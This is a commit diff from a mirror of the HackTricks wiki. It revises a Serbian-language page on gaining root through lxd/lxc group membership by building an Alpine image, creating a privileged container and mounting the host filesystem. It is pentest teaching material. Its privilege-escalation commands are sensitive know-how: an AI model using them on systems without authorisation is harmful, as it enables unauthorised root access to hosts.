mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/interesting-groups
This commit is contained in:
parent
8c91ba39ea
commit
20214157df
@ -8,18 +8,23 @@ Ako pripadate _**lxd**_ **ili** _**lxc**_ **grupi**, možete postati root
|
||||
|
||||
### Metoda 1
|
||||
|
||||
Možete instalirati na vašem računaru ovaj distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(pratite uputstva sa github-a):
|
||||
Možete preuzeti alpine sliku za korišćenje sa lxd iz pouzdane biblioteke.
|
||||
Canonical objavljuje dnevne verzije na njihovom sajtu: [https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/](https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/)
|
||||
Samo preuzmite **lxd.tar.xz** i **rootfs.squashfs** iz najnovije verzije. (Ime direktorijuma je datum).
|
||||
|
||||
Alternativno, možete instalirati na vašem računaru ovaj distro builder: [https://github.com/lxc/distrobuilder](https://github.com/lxc/distrobuilder) (pratite uputstva sa github-a):
|
||||
```bash
|
||||
sudo su
|
||||
# Install requirements
|
||||
sudo apt update
|
||||
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
|
||||
sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage
|
||||
|
||||
# Clone repo
|
||||
mkdir -p $HOME/go/src/github.com/lxc/
|
||||
cd $HOME/go/src/github.com/lxc/
|
||||
git clone https://github.com/lxc/distrobuilder
|
||||
|
||||
# Make distrobuilder
|
||||
cd distrobuilder
|
||||
cd ./distrobuilder
|
||||
make
|
||||
|
||||
# Prepare the creation of alpine
|
||||
@ -27,13 +32,10 @@ mkdir -p $HOME/ContainerImages/alpine/
|
||||
cd $HOME/ContainerImages/alpine/
|
||||
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
|
||||
|
||||
# Create the container
|
||||
## Using build-lxd
|
||||
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
|
||||
## Using build-lxc
|
||||
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
|
||||
# Create the container - Beware of architecture while compiling locally.
|
||||
sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64
|
||||
```
|
||||
Otpremite datoteke **lxd.tar.xz** i **rootfs.squashfs**, dodajte sliku u repozitorijum i kreirajte kontejner:
|
||||
Otpremite datoteke **incus.tar.xz** (**lxd.tar.xz** ako ste preuzeli iz Canonical repozitorijuma) i **rootfs.squashfs**, dodajte sliku u repozitorijum i kreirajte kontejner:
|
||||
```bash
|
||||
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
|
||||
|
||||
@ -49,8 +51,8 @@ lxc list
|
||||
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Ako pronađete ovu grešku _**Greška: Nema pronađenog skladišnog bazena. Molimo kreirajte novi skladišni bazen**_\
|
||||
> Pokrenite **`lxd init`** i **ponovite** prethodni deo komandi
|
||||
> Ako naiđete na ovu grešku _**Greška: Nema pronađenog skladišnog prostora. Molimo kreirajte novi skladišni prostor**_\
|
||||
> Pokrenite **`lxd init`** i postavite sve opcije na podrazumevane. Zatim **ponovite** prethodni deo komandi
|
||||
|
||||
Na kraju možete izvršiti kontejner i dobiti root:
|
||||
```bash
|
||||
@ -58,7 +60,7 @@ lxc start privesc
|
||||
lxc exec privesc /bin/sh
|
||||
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
||||
```
|
||||
### Metod 2
|
||||
### Metoda 2
|
||||
|
||||
Izgradite Alpine sliku i pokrenite je koristeći flag `security.privileged=true`, prisiljavajući kontejner da komunicira kao root sa host datotečnim sistemom.
|
||||
```bash
|
||||
|
Loading…
x
Reference in New Issue
Block a user